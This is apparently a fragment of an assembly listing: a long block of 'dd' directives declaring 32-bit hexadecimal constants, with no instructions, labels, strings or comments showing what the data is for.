		dd 96991756h, 0CC6115B5h, 770C53A0h, 436F278Eh,	3A2FF8CEh
		dd 2FEF207h, 0DE7393B1h, 7B8DB6CEh, 4C5AE999h, 70727ED9h
		dd 0B2E5D365h, 4B0427CDh, 1219D14Ah, 2493FCD5h,	89F62BEh
		dd 56BD7AFFh, 2490BC57h, 46893468h, 8CD8B47h, 0CC125ECDh
		dd 0B8E70044h, 5065A316h, 90815263h, 7B03F1C4h,	0F369D17h
		dd 485424A2h, 684D41FFh, 4482B288h, 195A9A34h, 58832E1Fh
		dd 0D064D74Eh, 0B382E67Fh, 68A3ABC6h, 8828F408h, 97898B27h
		dd 0D918998Eh, 0CC40C868h, 1BD83B0Dh, 6638532Fh, 65FFC70Eh
		dd 1451589Eh, 99261D37h, 4B29F8FEh, 0D933E54Bh,	6D97E363h
		dd 0DA044CD0h, 0E61BFE89h, 0ED8CF7D0h, 31E17907h, 0B032CA2Eh
		dd 0CB3B9289h, 0F3E8198Ch, 991FEABCh, 0B1465DC0h, 0D101239Eh
		dd 1AA4E559h, 0C9955F66h, 6C8C9C70h, 89E3B42Ch,	0C048A805h
		dd 0DF02F821h, 72513CF2h, 90889CEDh, 94B7FD98h,	35FD8F07h
		dd 6C8A1B2Bh, 0A773B34h, 29005C84h, 887FA914h, 8578258Ah
		dd 0F45A6D9Eh, 8290F50Eh, 0D1DBF58Ch, 0FD8A2A4Eh, 0D228F247h
		dd 31F7FAE5h, 0ED0355C1h, 613C7F1h, 0A37D40C3h,	0CA786D25h
		dd 5597162Eh, 7FEEDFE7h, 0EEFAB983h, 0A25F005h,	916D4AD1h
		dd 60EE0846h, 873EAB35h, 0A56DAF41h, 4FF86D4Ah,	7AAB70A6h
		dd 9E98E23Fh, 0F603BA82h, 15E4EC4Eh, 0AE175C97h, 0BE9DAA1Ah
		dd 0E35EE5F7h, 215510B9h, 1709CBD8h, 556B64DBh,	9B7D7A77h
		dd 0CA5DBBB7h, 0D547390Dh, 403394C2h, 923270EFh, 7283EB2h
		dd 0EF33A31Fh, 377B9477h, 590F4003h, 2CDF8757h,	1AF49D87h
		dd 0ACC24172h, 7543CA45h, 58F20F3Ch, 0BA8BD453h, 0DFAEAECFh
		dd 8DCCADB9h, 10A1701Bh, 3C5E80D9h, 42B35FBDh, 70B0D0A3h
		dd 4855098Fh, 0D00E80EEh, 9952452Dh, 0CFB4B486h, 14B013CAh
		dd 0D53A436Bh, 0A1E1BAEAh, 0D37ED33Dh, 9C8EFE27h, 3E6BABF0h
		dd 2B16F58Fh, 2ED28407h, 738A8DCh, 0D754204Fh, 0ABA197Bh
		dd 81D32F7Ch, 2127285Ah, 369144E3h, 81304AC5h, 0ECE87B03h
		dd 908AD879h, 8BC78983h, 168D8ACh, 0AF048A0Bh, 7465972Ch
		dd 3EDD8EBCh, 0F92E5D0Bh, 8A56AF79h, 0E120C47Ah, 0D134BD29h
		dd 0B4F31C1h, 0F72D723Ah, 81105573h, 0E0B52898h, 23AB133Ah
		dd 99D7D5EFh, 0C1BDDE5Ah, 304394C6h, 64611351h,	0B79BC505h
		dd 8565BB73h, 3BF50B49h, 8A0D358Ah, 74B6B3DEh, 37D75CE3h
		dd 0B5037756h, 0CEE0382Ah, 0FF0264CCh, 0AAD6135Ah, 2FCE265Dh
		dd 0A00A70CBh, 4DF4505Bh, 81CC78C3h, 6990F407h,	4424457Dh
		dd 8C3237B6h, 3E8EB0DEh, 8EB69BB8h, 0DDEE5DB0h,	0E6D471D4h
		dd 0D90F2794h, 504EAFE1h, 96D828D6h, 76AEAD79h,	0FEDEFA04h
		dd 0C8B8D764h, 41A10956h, 0EE52722Bh, 6BABAD5Eh, 6D414276h
		dd 39B52BEAh, 0A94E5AEEh, 0BD9DF2D6h, 0C3463648h, 4438EC04h
		dd 0F763353Ch, 8B52A5ADh, 831CACBCh, 0C87C7485h, 0D9D7FAECh
		dd 4CB12DAAh, 0A96D5B5Eh, 0C137AEFh, 3F14DA34h,	0AFDF9E75h
		dd 0E60042B0h, 2FE15E4Ch, 67AA0297h, 3E3C07C8h,	3C9D443Ch
		dd 679C06C5h, 0BD4A990h
		dd 0AA55D122h, 0A6948145h, 9641036Fh, 6BC3A493h, 0FA73C14Fh
		dd 9DE7E44Ch, 85ACC1F9h, 3A3542DDh, 0E7A8C4FFh,	0BF7F26D0h
		dd 87D0B6F8h, 760E5B90h, 5836875Ah, 24879C4Eh, 0AAF97673h
		dd 0C7EDAE22h, 0DF72B87Eh, 0B7F288F7h, 80B414C8h, 0BE524F44h
		dd 6A9DBA1Bh, 0A4A57F57h, 0D2CC8F29h, 71A92FA3h, 0F56E8DB7h
		dd 967E2A39h, 0CA0C9F4Ch, 6E681C16h, 3F267EE9h,	5FF40D3Ah
		dd 768C4B5Ch, 40ED6F60h, 0EBD05CF3h, 8D171554h,	757B2E57h
		dd 0C8B3641h, 0A80DCEA1h, 2B62F539h, 182EBBABh,	60F072F1h
		dd 0C44AED7Dh, 0AD10CB1Ch, 63DEE83Eh, 5D474F7Ah, 666A30Dh
		dd 21E1E190h, 78BA7BDFh, 64AE70A4h, 0BDD6AAB4h,	62A531D1h
		dd 0A3B3E4AEh, 9E57AFE7h, 0A7CBC689h, 0C113A946h, 18670FA5h
		dd 6506CBD9h, 0C4DF1B52h, 7BD6DF98h, 84C22330h,	6841607Bh
		dd 2F485821h, 0A1B997B9h, 0A25EE9CBh, 4608785Fh, 7CB3F8B4h
		dd 6F6978CBh, 0DCDC8248h, 31395616h, 0A396198Dh, 57B183A3h
		dd 4E32E15h, 16EED314h,	0A23B9C6Bh, 804A72FBh, 325F7566h
		dd 6376C335h, 9B0A9FA7h, 809D8F67h, 0FA53D2ACh,	48AC4965h
		dd 3457593Ah, 77F9266Ch, 3D216040h, 0B4A7C53Bh,	2558BAB4h
		dd 0DCADA8BCh, 73C14175h, 1477B799h, 0CA69E7D3h, 1AA81F7Ah
		dd 3DAB5BC1h, 324E4050h, 61F6CFA9h, 0F350B41Ch,	0B48F196Eh
		dd 0C167E898h, 71F28B45h, 0B21787D5h, 28F310D0h, 0B5876052h
		dd 2E3DB798h, 0BFE31990h, 0E378BCA7h, 2B07544Fh, 5FC8E410h
		dd 24D2DDD0h, 6A1067F1h, 0A7D3F37Ah, 8DF75B5Ch,	0F1BBC2FCh
		dd 8B18FBC7h, 0EC443E6Dh, 332AB896h, 0FA95093Bh, 617E1CE6h
		dd 2272EB0Bh, 45DD2E79h, 6E197A97h, 7667AD68h, 227B0374h
		dd 0FF8F3FAAh, 0D1A0B339h, 632A2907h, 791BCA83h, 8D112F8Bh
		dd 5817058Bh, 7022807Ah, 3BBE2077h, 59DDD010h, 7C86845Dh
		dd 0C99392A8h, 492F2C4Fh, 455FE209h, 2F781A03h,	0FD09CC93h
		dd 2EC3CA37h, 9FA2AC9Dh, 858A289h, 0BEA09369h, 5C391C42h
		dd 0A976CE01h, 0C7BB057Ch, 0A10AC887h, 467C901h, 66C3BA49h
		dd 782311DAh, 2CF7AA31h, 9C431D68h, 4C8FA9Bh, 437DABC0h
		dd 9B61F438h, 0DBD1AE90h, 6F15A2AFh, 85F6B545h,	10D487B0h
		dd 72EDB584h, 6D08A88Ah, 0FA0139A3h, 0C0C7E019h, 6FD237EBh
		dd 56B3A0BDh, 0DD9DE3B5h, 667F53B9h, 72178BE3h,	7D14D8C1h
		dd 56F26C0Ch, 63E89232h, 0F1AD3A3Ah, 5576B2D9h,	7FCDE83Eh
		dd 1C01FF06h, 230DBAC3h, 6E4F368Dh, 0A7EA9B78h,	16BD0191h
		dd 0F88EBD8h, 6DE576FBh, 461F7BD3h, 4E88DA5Ah, 8BE04290h
		dd 0E00535C7h, 0B54242Bh, 0A6755E01h, 1DF309EAh, 0F9C45F9Ch
		dd 0FAD645C0h, 0C3293C5h, 27B28512h, 0EE6CCA8Fh, 0AAD91EDBh
		dd 0D0268CDAh, 55D5D3B9h, 0E3E45679h, 0E67A743Bh, 0F0E7D1CDh
		dd 19974FD5h, 0FF7DA3EBh, 0EA724CA7h, 1FA3157Ch, 6D5B5D30h
		dd 4F27E653h, 0DF6EB0B0h, 99DCFB71h, 9DCF27A2h,	0D590EBAFh
		dd 9EF0E6DBh, 23AC2E38h, 0EBB93FA0h, 7564BA0Dh,	2DBB7055h
		dd 30C1EDCDh, 6CDD6BA5h, 0C399F74Dh, 8187818Dh,	0DE651970h
		dd 0DBC15E0Bh, 0BA9DFFB8h, 0ECF5BAC5h, 3319BA5Fh, 3ADB2A16h
		dd 676439FBh, 6A74C75Ah, 35C98772h, 36B23D20h, 383CAE9Ah
		dd 0DFED59D7h, 557B73E2h, 8E516E27h, 171E0E0Bh,	0A3A80FCBh
		dd 0EFD9AA53h, 0E9319F7h, 7B166BB1h, 475BC82Bh,	36D5778Fh
		dd 70016885h, 7634C326h, 1A200B9Ah, 76B1713Dh, 7D325DCh
		dd 0E423086Ah, 0E278625h, 16EC41CAh, 1E0643CEh,	6B783FC2h
		dd 0C20DF395h, 5762DC32h, 631857D6h, 7936EE82h,	0FD442B3Bh
		dd 0B96EF2E7h, 0B1FE0716h, 0C3D7A5Ch, 85DE5BDBh, 98CBE669h
		dd 0C22C4FEDh, 0F66247A9h, 0B49FE4DCh, 80E555F6h, 3163D44Fh
		dd 4D82BC7Eh, 6C2451ECh, 52D397E4h, 245683A8h, 99D3865Eh
		dd 0FA1F112Dh, 6412AE40h, 0A429072h, 992928C6h,	0F5F0ED89h
		dd 244BE1FFh, 0C837242Dh, 55CD7A19h, 0E3B5BB6Dh, 4A0D8B99h
		dd 5E42FBADh, 0F8501B90h, 0A887538Eh, 3FEB09EDh, 3ABD61FFh
		dd 6655C05Eh, 0ED20B413h, 0B1E82FB6h, 9A7BE048h, 4A10C612h
		dd 28FDE156h, 22391D4Eh, 0EBBCC681h, 41D969A5h,	6231B580h
		dd 6EA851F1h, 0AC57E43Bh, 7805B77Ah, 31E2406h, 0DD6D71B9h
		dd 0E93721B1h, 59BB575Ah, 0EF390458h, 0FEF1ABE5h, 0FFEA725Fh
		dd 8A83B20Dh, 0F6CEC7ECh, 49AC37C4h, 92E72DB4h,	415962B7h
		dd 6D62D011h, 7104314Fh, 1A445AADh, 0B4601928h,	4AB781C0h
		dd 20A1E4EDh, 0B8EDEE7Ch, 88E7D63Fh, 0B91CD394h, 0FC84C38Bh
		dd 9FF0F202h, 7C1A2DB7h, 933443C9h, 43B644B5h, 0F7B7661Dh
		dd 0FC3EB2E6h, 0B0ED7054h, 7260E165h, 0FA9EF19Eh, 0F322A9B1h
		dd 54FEA923h, 0FD7A9B81h, 0B269CDC7h, 208AEC5h,	0ABBADA17h
		dd 0C58CB083h, 0F2C953EEh, 353228B4h, 775BB151h, 0D295016Ah
		dd 0A4A61E32h, 0C0651CDh, 12C58E72h, 0E304A960h, 6588E406h
		dd 4A594BAFh, 0F450114Dh, 0F16CDE5Ah, 0D38CFCE7h, 8AE89C07h
		dd 0F948994Dh, 9374A71Ch, 0A3ABEBAEh, 0F2D2A117h, 0EABC4334h
		dd 94D99826h, 8E6A0321h, 97D121D9h, 0E47B2CA6h,	86F74CB4h
		dd 74BFD671h, 377BE835h, 111B13B0h, 79859649h, 0EFDCE951h
		dd 0F6EB292Dh, 0FD27D736h, 69A07F76h, 17F059FDh, 69E55CE9h
		dd 9E17E17Dh, 63078102h, 0A13F6C44h, 1A2B1077h,	0DBCDF9F5h
		dd 77951C9Dh, 19FA8B7Fh, 42864C97h, 5C976134h, 186571A0h
		dd 0B83C1501h, 0E0952D03h, 991331BBh, 0BB7F6E5Fh, 0E143168Fh
		dd 0D4A25A85h, 7AE4D63Fh, 0BDD1BC9Fh, 6E17777Bh, 394923C6h
		dd 3E822ABEh, 9DF6354Ah, 65824308h, 1C1A1D3Bh, 0FAB109A0h
		dd 0FC4367Eh, 813FC52Dh, 76EF14FEh, 338520F5h, 0A1566C28h
		dd 64F87776h, 0B1A5C131h, 8A761F1Dh, 941B3C59h,	35D58DE0h
		dd 0B04ABEF5h, 0B9434C35h, 0C28DD5B4h, 27D264DFh, 2CDE684Bh
		dd 0BC489632h, 3FFB273Dh, 64E0B41Ah, 0BEA0CCA8h, 1BBD93B4h
		dd 6149A5E9h, 0F5C99243h, 4B752D42h, 7C05D673h,	920379B6h
		dd 3FEC7AD1h, 9B682C36h, 0C6232F22h, 567B7114h,	0BCD07D2Ch
		dd 0AE061695h, 0AE7D7A52h, 0DFEEA47Ah, 0C4DFB755h, 35468144h
		dd 8CD4E93Ah, 0C24DDE0Ah, 0D1B3ACE6h, 0A7B33707h, 5C3CD757h
		dd 922318FFh, 0B64A0912h, 760F3393h, 21C5C048h,	0EDD5E205h
		dd 7CFE8ACFh, 0B0B72FBAh, 7D685F92h, 0C32348AAh, 8B5608A2h
		dd 0F7F951B6h, 0DA938CFEh, 174BC968h, 0A7600232h, 49311853h
		dd 4CEB73A3h, 5304ED0Ah, 0D01096EEh, 0E6F67AC9h, 9EE91E2Ah
		dd 983D5E7h, 7FA0DAE9h,	0C2100CFAh, 66589680h, 99693A42h
		dd 7F8A3030h, 0E76C37E7h, 963240D7h, 540F5166h,	26DFFEFCh
		dd 32B0E5A5h, 0E710D6B2h, 9607871Fh, 8855A4C7h,	0FF15C3DFh
		dd 53BB22D2h, 0CFA1CDA9h, 0DEE4E513h, 0B5531692h, 2513990Fh
		dd 58010093h, 8E38D64h,	53D1B467h, 58B76AE4h, 0BF9BDC4Eh
		dd 0A5819AA8h, 1DB9CCE1h, 0C576B4F6h, 52A30AF1h, 0A4337061h
		dd 0CDDBD283h, 0ED7E8D60h, 0F949DDDDh, 1C1FA82h, 0FC8B637Bh
		dd 1AED9905h, 7ABC0137h, 0BE8D9FAEh, 8A5F4671h,	5D50B1CEh
		dd 0BF94F689h, 61386134h, 7B787AA4h, 7E2CD3F3h,	57E39082h
		dd 1C7CBA6Bh, 740778F2h, 12AF1084h, 870496Ch, 4786693Ah
		dd 0CD4D733Dh, 0C3EFDC9h, 81C4F169h, 9BC4665Ch,	0CF22C780h
		dd 9E63E2D7h, 9B1582B4h, 9FCC873Fh, 46626BBh, 5BB03939h
		dd 7107315Dh, 40A8E119h
		dd 87204E9Ch, 0D285FDB2h, 7C7EF448h, 3E2B00BFh,	316E1902h
		dd 4E4C07EBh, 7A59661Fh, 8927ED0Bh, 9CC5E342h, 1600C325h
		dd 70C862F9h, 472EB681h, 0D23F1F5Bh, 8F5B7727h,	0C8706B77h
		dd 57171C48h, 1E3DE6FAh, 17BF7B8Fh, 940ACA6Fh, 0CE4A355Eh
		dd 2E09C085h, 0DAEF833Ah, 75E13C6h, 0C91EC49Ch,	0B8307129h
		dd 0B5FE0C68h, 5BB645EFh, 71F7D199h, 0EC26FB4Dh, 0ABDB05D3h
		dd 0B5705BD7h, 3EA16CC5h, 60206189h, 0E5936413h, 5C9F2DC1h
		dd 4A4DC026h, 7A1669h, 0B0BE9910h, 9AA43C02h, 0E95DF960h
		dd 54F6D45Ah, 7D5BFC1h,	60D4102Ah, 0BC315C96h, 6243FD6Ch
		dd 5FAE1BC1h, 188B952Dh, 486078CEh, 0F0CDF24Ch,	0FEE71154h
		dd 6399270Bh, 9ACC3561h, 0B783EDD6h, 0E2AB0DF4h, 7263173Fh
		dd 0C5E665Eh, 63038437h, 0D3E7E57Ch, 0A931B046h, 86E13295h
		dd 2B88212h, 0BD15A861h, 0F6ED2998h, 5DFA6E3Eh,	8B2EE155h
		dd 61B3F74Eh, 6885218Ch, 567B7E42h, 0CD654A86h,	56D7E27Bh
		dd 0F035F870h, 6132BDBAh, 55630683h, 0BC7213D6h, 0DC591E2Ah
		dd 0B4497108h, 0CC99C153h, 0E1DDC3A5h, 642F4F17h, 638BC5A4h
		dd 7FC2A9B2h, 0F4C588F6h, 0FA9C162h, 0E911CA67h, 7E1E1478h
		dd 1A7AEA31h, 5572E587h, 0FC1E07D0h, 0CBB9A1ACh, 3DD7C8B1h
		dd 87C27F20h, 770CEEC2h, 37316A1Ah, 0D48669A3h,	0D0F551BEh
		dd 0D93A7A5Ah, 0FDCFD6FEh, 3A496FE0h, 4FF48C7h,	0B81DB547h
		dd 6C87A122h, 86252E25h, 0F6FF9EA4h, 8F659E6Bh,	3C117029h
		dd 52C53665h, 86C85E1Eh, 98C0053Ch, 234FD0Dh, 39D0D3AFh
		dd 0EFD3D931h, 610ADB71h, 9352B6B7h, 1E6D93Dh, 6DAFDFA1h
		dd 0F7D0F5B3h, 2C2B9CD4h, 90771C97h, 4F067FEBh,	0E94DB2A1h
		dd 58E4D1B3h, 9F668127h, 0B301ECFAh, 0AC3F4052h, 90A2F5F4h
		dd 0D051D0C8h, 67A59396h, 32263428h, 11EB4B6Fh,	0A0406910h
		dd 4965C88Dh, 1F673E26h, 9B25EF33h, 0DBF7DA42h,	43AB0733h
		dd 8D42B05Ah, 3C82A7E8h, 60A118BAh, 576889B1h, 110AAFB2h
		dd 0D1BD912Ch, 7B961616h, 0BC3749EFh, 0B112F846h, 78A56C11h
		dd 4F83DA9Fh, 9D03F683h, 0F19F56F7h, 78C32F44h,	4CD62298h
		dd 1B084B46h, 9527C618h, 83BC3241h, 0CEFCF545h,	3C42A53Bh
		dd 0D47BFEC2h, 9046EB5Dh, 0C94AD095h, 4A310ED2h, 3BC1615Bh
		dd 0D72ED0DBh, 0A2A04D8Dh, 52CEA180h, 52C8D8AEh, 1423B3E9h
		dd 0B53AC8CFh, 0C67A791Ch, 0F9246F22h, 0D975ED12h, 866ADCC5h
		dd 9AD1EB1Eh, 0BAC7DB4Ah, 0F8D607D3h, 6431054h,	0C0BA3DE4h
		dd 0A85F824Bh, 5E0BA6B4h, 0A60BA11Ah, 1B6011D6h, 0B6B64B11h
		dd 0CD2806D2h, 0C06758A8h, 7D4FF25Eh, 0AC24825Ah, 0C973204Ch
		dd 9EF8891Dh, 0A4A83512h, 0AB256A80h, 3F277D3Eh, 92F1E72h
		dd 0C45C5B3Bh, 94CEE89Ah, 0E5A038AFh, 261BEA4Dh, 673F035Ah
		dd 2788C51Ch, 0C7A79811h, 0DAA3058Eh, 0F9BF82E0h, 2B7FD2DEh
		dd 0D9DA24A1h, 22F4E80Eh, 0B67A71B4h, 0B41F6265h, 41812B42h
		dd 56B41651h, 0B5C07614h, 26113B95h, 0EDE9BA4Ah, 0F801828h
		dd 0D45340ABh, 101BCEF9h, 9D213873h, 0E5C3E63Eh, 9A7655F5h
		dd 7CACF6D4h, 5D202985h, 0C10FC553h, 0FD5B40AFh, 0A1FAD940h
		dd 69E5E33h, 0E895744Ch, 727505E9h, 529FF6Bh, 0DB5920EEh
		dd 37205C58h, 0BE48A702h, 96023117h, 0CE29C938h, 0BA7F4A09h
		dd 22DC1DDCh, 7B35D62Fh, 1A756458h, 0CAE5AEEDh,	9A3D01A4h
		dd 0B02304C1h, 781D89F0h, 6F3E29FCh, 0E4D707C1h, 0FB28D4AEh
		dd 0CE38FFEBh, 5D979776h, 8ACF422Eh, 96D02FE5h,	36424E26h
		dd 0E78C40D7h, 31325E3Dh, 0A110E33Bh, 0A509CA8h, 0D3D21F73h
		dd 0F1B274D5h, 9564898Bh, 51C0B1ADh, 4236F08Ch,	9C15A28Bh
		dd 7D983E64h, 0A7C1891Bh, 7E2A4ABEh, 0A985C41h,	71DE0962h
		dd 0A641C4CCh, 150981AFh, 0CE02255Eh, 1892ABC2h, 8B0CC5E0h
		dd 870DBE53h, 83D442B3h, 49E9F7F0h, 36B7389Dh, 97FBFBBAh
		dd 909F32A2h, 65D224h, 441E68BAh, 0FCD7721Eh, 5F0417DCh
		dd 0F4979F05h, 891A1DA6h, 5DDA4CFAh, 0E753993Fh, 3AD2F5ABh
		dd 1FDBADFFh, 76F88F52h, 23E221F7h, 0A7A15A05h,	0C6348A7Eh
		dd 34DBCEF7h, 382FC103h, 3A499334h, 0CF79E88Eh,	0C5B1C9BAh
		dd 0CE42ED40h, 0A1FBAB21h, 5A43003Dh, 9DEC73CEh, 38237E9Ch
		dd 905EACA5h, 0AD068D60h, 2811B102h, 0FE3B2D14h, 84608F92h
		dd 7E441D2Eh, 2E93F5F7h, 0A5744D0Ch, 604B2C5Bh,	96E496C4h
		dd 7F6EEBF9h, 98126282h, 905CC0EBh, 3612F58Dh, 0FB813EF8h
		dd 16E3973Eh, 201B1F59h, 0A1BF5D0Eh, 0D5A6E17Ah, 1D0235C9h
		dd 0AB2D57C9h, 1FE89812h, 2749D9FAh, 3DF705EAh,	79052FA6h
		dd 6F9FB33Eh, 0FCB95BD8h, 4FD739D7h, 0E380149Ch, 41BDD785h
		dd 0DECBDF50h, 6B08C7Eh, 0EA6D289Bh, 0C4D18611h, 0DCD26E40h
		dd 8844A259h, 0E6404F83h, 2D477F3Ah, 437B5322h,	0C7A0D7F9h
		dd 964422E8h, 4E6E210Bh, 2B929EE4h, 96D1A6C6h, 0E29D369h
		dd 0DBBA5CAFh, 0F2010E89h, 43A25752h, 88EA6CFFh, 0F09DEC27h
		dd 0C3379DDEh, 5A7A34C0h, 55A33660h, 0A89FF93Ah, 0FFEF6EE1h
		dd 534474B2h, 145F228Ah, 0FD9800B3h, 31CD48C5h,	0B6DCED60h
		dd 86D654Bh, 68CA87B4h,	0D74F42E8h, 0D6848E2h, 0CF5185A7h
		dd 4D9E967h, 9B568B6Fh,	0A20E58A8h, 344E6C04h, 806BF29Ah
		dd 8A8AD6A4h, 7A2D422Fh, 0B8AC25BCh, 0A951CB79h, 57C59BFDh
		dd 45027C5Ch, 6DF6EEFFh, 8AF6F937h, 483D6F01h, 38AF5DA4h
		dd 0FA1B1186h, 72AF5FA3h, 3BA80CCFh, 0B058C89Fh, 11F229A2h
		dd 8217EF28h, 53089C3Dh, 5E8D8B23h, 0F0D2268Dh,	0BF16322Eh
		dd 0C47200F2h, 2025BFB5h, 8E3AF759h, 7BAC9ACEh,	3A09733Ah
		dd 3A3D171Dh, 688E69BBh, 292BB187h, 0A6A4A547h,	0B3965AECh
		dd 28CC73E6h, 5F952DDAh, 0E0171A2h, 2371943Ch, 75639D02h
		dd 0F396247h, 0EA942BC9h, 0DA32EDA5h, 4F7297EEh, 622745D1h
		dd 785FF122h, 0EF81C03h, 0ADF22444h, 5BED0D02h,	8C8E5AB7h
		dd 9590131Ah, 0B69938CCh, 0DBE78926h, 7DCD4D5Dh, 76FEAD13h
		dd 9539E512h, 0FA30BEB2h, 9730A89Bh, 3219C6FEh,	5A611518h
		dd 0A57C16C3h, 92CE2D35h, 4594E764h, 886B1C06h,	6BE097FEh
		dd 0A579038Ah, 87CC1FFh, 35048450h, 97AF9DEDh, 0BC4E7E97h
		dd 6FD696F7h, 9EB792D6h, 26A23D5Fh, 6C93ECC6h, 2A6BC055h
		dd 0C9D143FBh, 3B44EB77h, 0DC983946h, 0AE84C629h, 33A51AA1h
		dd 8F1BC147h, 0C9C43BECh, 68CB6134h, 62648F17h,	234B77DDh
		dd 425D6C30h, 8BCA6BA2h, 1CC94859h, 4892C0D8h, 0C5EC3C23h
		dd 5741DB8Fh, 3E265C2Ah, 0DB1FF438h, 6BCDCD31h,	0BF6F2D18h
		dd 7289F503h, 8A5466D1h, 0C24E3E5Fh, 9FD4795Dh,	73054F8Ch
		dd 9F73B475h, 608502E7h, 12E8220Eh, 3A430F6Eh, 3E5E134Eh
		dd 46A834BBh, 0E6496D2Fh, 5FD95E54h, 9717DB8Ah,	7EAAEE5Eh
		dd 71745C2Dh, 78E561A3h, 7D813A54h, 12FEA483h, 734F8DFh
		dd 26CBF2E2h, 4C6845D7h, 0B2850DEEh, 19748BD0h,	5F3CC569h
		dd 0E6255FB8h, 9CF50616h, 662F88B0h, 8AA58D41h,	0ABB1E41Fh
		dd 0E32596B6h, 1C621F76h, 5A5962CAh, 14C690FEh,	0C59227D7h
		dd 276DE4C6h, 851F3FA1h, 0EDDA9A77h, 3270BD25h,	0C55553BAh
		dd 0DE0656FBh, 10955992h, 0E8B7B9C7h, 0B86C4DF5h, 97AE2779h
		dd 0AFF387A1h, 6C3CF7D9h, 16AB05D6h, 0AAF67098h, 0E7545389h
		dd 2A9E2673h, 0A3339D30h, 0AE40BF1Ah, 0FDD67029h, 7F2336B7h
		dd 1933E58Dh, 9A1925FAh
		dd 0BB0A876Bh, 0EF084CDAh, 2594DA20h, 0A6EEEC1Ah, 0D42DD08Dh
		dd 0A58DBF45h, 0E6550A08h, 8A7551E1h, 0F9CC94E5h, 5DF5A5E4h
		dd 0B8C52A4Ch, 0DAC2D7B0h, 9584FD72h, 0D0404F31h, 7940AC93h
		dd 0AD71A5D9h, 90BF0F61h, 0BCA366EEh, 228220A4h, 0FFE9C881h
		dd 22B4794Fh, 1C25A2E6h, 0DF1211CFh, 33E938B6h,	241E4789h
		dd 7025DAD4h, 0C6D98BB7h, 0F88BCBCFh, 0D4D210Fh, 6F0F78FFh
		dd 3ECC8669h, 0D6E7DDFAh, 54014A8Ch, 0D8DF72D4h, 9A137C02h
		dd 0D88C1B28h, 0C210F81Bh, 4B9BCA3Dh, 39D1805Eh, 0FFF19977h
		dd 75C3075Bh, 5D1492A6h, 4BF967B2h, 1EB127CFh, 0B7AB6081h
		dd 5D4B54B4h, 942A44A0h, 6CB96BCCh, 0BAC4216Bh,	2D65C4DFh
		dd 33196142h, 0E9495AD2h, 8E0F08Ah, 84269B39h, 6C718C56h
		dd 0E5C02296h, 25ABF8F4h, 3D08865Eh, 0C5BAC265h, 0B7CC5406h
		dd 0BFE2D1CBh, 30733744h, 4AFDD6ACh, 86D2E706h,	57350768h
		dd 99A11D3Eh, 65FDCAC2h, 15EE8F95h, 67F1CE05h, 257CCBFDh
		dd 0EB6149C6h, 0C1AF8256h, 0CE7E6D9h, 19D39717h, 0BCA0541Bh
		dd 4A8B370Bh, 8557AC37h, 0B6551B82h, 4F12EF42h,	0FFB92A34h
		dd 8C0CC46Bh, 0C3FF42E6h, 5C13D0D0h, 0AC537900h, 35A8A73Fh
		dd 232DF6A6h, 9D64745h,	0BDE20B4Ah, 0F656DEA4h,	9C1DC891h
		dd 949CC5BEh, 0E4A364E8h, 60D3E98Ah, 0D9E12A74h, 9EADA690h
		dd 0C5FF81A2h, 0B8CCB29Dh, 0FCC45B85h, 25E2A950h, 1E19829Ch
		dd 0B4F02136h, 6E39B04Fh, 5C0287D4h, 0EDCA5992h, 0CD14A90Eh
		dd 2B804C2Eh, 483191D0h, 5CF07E56h, 86EF26C9h, 0AD0A214Ch
		dd 85D97EF5h, 0E5415604h, 50BFFEDFh, 0C47CCCE0h, 4969EF82h
		dd 0D596BBBBh, 44C26C93h, 586C5CDh, 24CCC2DFh, 361A5341h
		dd 0F81FD260h, 0C1DEBB41h, 0AB97B9A6h, 0F540D093h, 33EA1157h
		dd 18BEE06Dh, 63F71B8Eh, 0F66B184Ah, 0B833CB4Dh, 0F8F700B4h
		dd 7770A3D4h, 70C19D49h, 716A98CEh, 0F373DFCBh,	771B5BA1h
		dd 30DCBA51h, 0CFBF0B3Fh, 0D0BC3BD5h, 1497E86Ch, 0E6CCE78Fh
		dd 6A61D2D0h, 84CD67C8h, 65B7C213h, 0D210CDFh, 0DF98D9F9h
		dd 0A967A964h, 80B54E96h, 6798FA6Dh, 2EEFD4BDh,	0FCD809FEh
		dd 40B48E8Fh, 56611829h, 74600645h, 0C98C2C03h,	0C3547583h
		dd 0AEFA2952h, 95CF37E6h, 0BEBA988Eh, 0A235EB42h, 77E77237h
		dd 4E287B53h, 37CC9ECDh, 0A2A62B8Ah, 65869258h,	560E6EF4h
		dd 7958A418h, 0D249A710h, 0B412A14Bh, 4D1A6C03h, 369A30AEh
		dd 0B352CF98h, 4335B712h, 0B923BD63h, 50982184h, 0AA2CF5ABh
		dd 0D2EA98D5h, 3D18899Ch, 90C254B0h, 190A6C85h,	270CE1E9h
		dd 0D7AC7FA1h, 0F850808Bh, 0A885FD70h, 0F725B41Dh, 47B2DB46h
		dd 9C51DB09h, 0CA54AF8Fh, 8B7F4EF2h, 866A2BC1h,	6E7DBA60h
		dd 0C26FDA5Fh, 10DA5DA4h, 0B971FC53h, 0B7A9044Ah, 0CBC2B677h
		dd 270442E3h, 0E6E471D6h, 7DB019AFh, 0A036EE4Ch, 9DF0A508h
		dd 9AEF1818h, 446098CAh, 0B23A7D5Ch, 17F4D82Ch,	8F485A9Ah
		dd 0E44A671Ch, 71CCC06Bh, 0C185F261h, 0DB846B69h, 9F74093Ch
		dd 95D4F172h, 8A60C51Ch, 30361B7Bh, 8D2192EAh, 3C5AFEBEh
		dd 83B74FB8h, 0AE18CDBBh, 67B0E23h, 13608EE0h, 7BBEFD92h
		dd 2E2D02EAh, 90DC9A2Fh, 0CA5DA937h, 0D42EF7B1h, 0CD2B0AC4h
		dd 79688AF4h, 0A1AB3D4Ch, 4E670E89h, 613A59E0h,	0D38F81E1h
		dd 81352554h, 80D08A29h, 4238AC0Dh, 0D5BD0E59h,	0E275BE7Dh
		dd 0B272A739h, 0D19F172Fh, 4F59446h, 6B891A41h,	0AF2B2CC4h
		dd 0BF83BB35h, 9D7F3AFFh, 0C47B8079h, 8C1F1AA3h, 0E9F428EFh
		dd 0F6B0C620h, 361CB73Ch, 0E0F12EDFh, 2CE19B06h, 29D21C0Fh
		dd 0B2D6883h, 82125BDEh, 43616B4Bh, 0CFA53535h,	0EBFF45C9h
		dd 895C4834h, 0A915EFFCh, 0A0CEA77Bh, 809542D5h, 5EAC1D8Ah
		dd 0D80E5733h, 34A0393Bh, 0F48B2550h, 2DB941A6h, 64BD6E9Eh
		dd 4323124h, 0CA2DCFC0h, 748DCD3Fh, 1847A3D2h, 30E81A8Bh
		dd 2E7811CBh, 0D803EB2Ah, 5A279B8Dh, 50E58FADh,	0BA8DC308h
